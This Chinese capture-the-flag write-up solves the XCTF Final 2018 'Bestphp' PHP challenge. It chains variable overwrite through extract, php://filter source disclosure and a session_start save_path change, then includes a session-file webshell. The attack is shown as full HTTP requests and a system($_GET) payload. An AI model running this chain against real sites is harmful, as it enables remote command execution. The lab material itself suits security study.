考点
- lfi+session
- session_start函数修改session文件存储位置
环境配置
复现环境来自 https://github.com/shimmeris/CTF-Web-Challenges/tree/master/File-Inclusion/XCTF-Final-2018-Bestphp ,需要修改deploy/Dockerfile,否则在解题时请求中不会带有PHPSESSID,因为session.auto_start
没有启用:
在27行下面加入一行启用session_auto_start=On
的命令即可:
1
| RUN echo 'session.auto_start=On' > /etc/php/7.0/fpm/php.ini
|
题解
打开题目就拿到了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html:/tmp'); $file = 'function.php'; $func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file); session_start(); $_SESSION['name'] = $_POST['name']; if($_SESSION['name']=='admin'){ header('location:admin.php'); } ?>
|
代码中存在一个敏感函数call_user_func
,所以可以利用extract
函数进行变量覆盖(覆盖掉$file变量),同时使用php://filter读取function.php和admin.php的源码:
1
| ?function=extract&file=php://filter/read=convert.base64-encode/resource=function.php
|
得到function.php源码:
1 2 3 4 5 6 7 8 9
| <?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>
|
admin.php源码:
1 2 3 4 5 6 7 8 9 10
| hello admin <?php if(empty($_SESSION['name'])){ session_start(); }else{ die('you must login with admin'); }
?>
|
从function.php和admin.php中并没有看到什么特别的内容,或者说目前来看用处不大。
lfi+session
当前是存在session文件的,而且session的内容用户可控:
1 2
| session_start(); $_SESSION['name'] = $_POST['name'];
|
而现在存在一个lfi漏洞,lfi经常和日志文件包含、临时文件包含以及session文件包含联系在一起,而当前session的内容又可控,所以lfi+session文件包含是容易想到的一种利用方式。
但是open_basedir将程序执行路径限制在/var/www/html和/tmp:
1
| ini_set('open_basedir', '/var/www/html:/tmp');
|
而session文件的默认存储路径为 /var/lib/php/sessions/sess_sessionID,是我们无法包含的文件路径。
这时可以使用session_start函数修改session的存储路径,查看session_start的手册 https://www.php.net/manual/zh/function.session-start.php :
1 2
| session_start ([ array $options = array() ] ) : bool
|
根据php手册的内容,参数$options是可选数组,如果提供该参数,将会替换默认的配置:
这里的会话配置指示指的是:
上图中的第一个参数就指定了session文件的存储位置:
得到的payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /bestphp/index.php?function=session_start&save_path=. HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 31 Origin: http://ip Connection: close Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25 Upgrade-Insecure-Requests: 1
name=<?php phpinfo();
|
那么现在session文件就会保存当前目录下,利用相同的方式上传一个shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /bestphp/index.php?function=session_start&save_path=. HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://ip Connection: close Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25 Upgrade-Insecure-Requests: 1
name=<?php system($_GET[1]);?>
|
接着执行命令,查看根目录下的文件:
1 2 3 4 5 6 7 8 9
| GET /bestphp/index.php?function=extract&f=file=./sess_gt8914khjpsr9fmh1jvu0ddi25&1=ls%20/ HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://ip Connection: close Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25
|
参考
- XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)
- 2018 Xctf Final LCTF-Bestphp
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好